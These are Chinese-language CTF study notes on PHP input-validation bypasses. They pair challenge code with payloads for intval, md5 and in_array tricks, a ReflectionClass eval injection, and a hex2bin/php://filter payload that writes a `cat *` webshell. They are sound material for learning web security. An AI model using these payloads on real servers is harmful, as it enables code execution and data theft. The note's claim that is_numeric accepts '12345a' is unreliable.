intval函数

用于获取变量的整数值(将其他进制转换成10进制输出)

数组绕过

来看看下面这段代码

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

绕过方法很简单,把num变成数组就行,即num[]=1

+号利用

碰到一道比较巧妙的绕过题,先看代码

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){    $num = $_GET['num'];    if($num==4476){        die("no no no!");    }    if(preg_match("/[a-z]|\./i", $num)){        die("no no no!!");    }    if(!strpos($num, "0")){        die("no no no!!!");    }    if(intval($num,0)===4476){        echo $flag;    }}

可以看到要想拿到flag,就得使用转换结果为4476的num值

但是显然8与16进制无法直接使用。怎么办呢?仔细观察if(!strpos($num, "0")),可以看这句用来阻止8进制使用的判断其实原理是判断第一位是不是0。怎么办呢?看到这里你应该也猜到了,利用+在url中代表空格的特点,最后的payload是num=+010574

./绕过

同样也是一道很有意思的绕过题

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

虽然没法直接读取flag.php,但只要在前面加个./就能混淆视听

md5()函数空值

在题目中碰到md5函数第一反应不应该是去撞库(要是实在没办法也不是不行),而是想办法让其成为0或空值。来看看下面代码

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
}

当md5函数参数为数组的时候会发生错误,并返回NULL。可以利用这点进行构造payload a[]=1&b[]=2

&取址

看看下面这句就能明白

$_GET=&$_POST

意思是是将后面代码中的get方式全部转变成post

in_array函数漏洞

如果没有设置第三个参数,就可以形成自动转换。例如输入的n=1.php自动转换为1。更多可以看这里

&& > || > = > and > or

在php中,运算符满足上述关系。这里需要注意,and与&&不是一个东西,但效果是一样的。同理,||和or也不是一个东西,但效果也是一样的。

另外,=是最需要注意的,比如当题目中出现 $a=$b and $c and $d时,c、d变量均为干扰,a必然被b赋值

Reflectionclass

当需要读取一个类,但参数匹配又被像下面这样卡死的时候

$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

就可以用Reflectionclass来创建一个映像类,然后再echo就可以了。

payload是?v1=1&v2=echo new Reflectionclass&v3=;

is_numeric

这个函数在之前有提到过,再拎出来重新说一下

看下面这几个字符串,看放到该函数中处理后返回值是什么

12345   //true
"12345"   //true
"12345a"  //true
"a12345"  /false

ascii转换

一道很有意思的题,先来看代码

$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){    $s = substr($v2,2);    $str = call_user_func($v1,$s);    echo $str;    file_put_contents($v3,$str);}else{    die('hacker');}

要让v4通过,v2则一定得是数字。但如果变量str最后只是一串数字,那么最终写入的也只是一串数字。这里就需要用到hex2bin()函数。这个函数的功能是将十六进制字符串转换成ascii码对应的字符,我们就可以利用这点,先将准备好的payload转换成ascii形式,再转换成十六进制,当payload在进行解码时,就会先从十六进制变成ascii,再变成我们准备好的payload

这里我准备了一句转换好的payload

v2=225044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
v1=hex2bin

这里需要注意,v2会经过substr函数处理,也就是会被剔除掉前面两个字符。真正的payload从5这个数字开始